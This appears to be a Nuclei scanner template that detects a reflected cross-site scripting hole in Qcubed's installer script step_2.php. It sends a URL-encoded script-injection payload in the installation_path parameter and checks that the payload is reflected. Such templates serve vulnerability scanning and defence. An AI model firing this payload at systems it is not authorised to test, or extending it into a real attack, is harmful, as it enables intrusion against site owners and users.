id: qcubed-xss

info:
  name: Qcubed - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Qcubed contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary JavaScript via the /assets/php/_devtools/installer/step_2.php endpoint and the installation_path parameter.
  reference:
    - https://github.com/qcubed/qcubed/issues/1230
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,qcubed

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html

# digest: 4b0a00483046022100df047d79595a124ad37d0dc5cc22ff2ed17ec4fc66fd7e38f065b79aa0f03fdf022100d4510c49cb992864f589c9c3999d50e708b2ac8810d33d1e4860cd77b68d9828:922c64590222798bb761d5b6d8e72950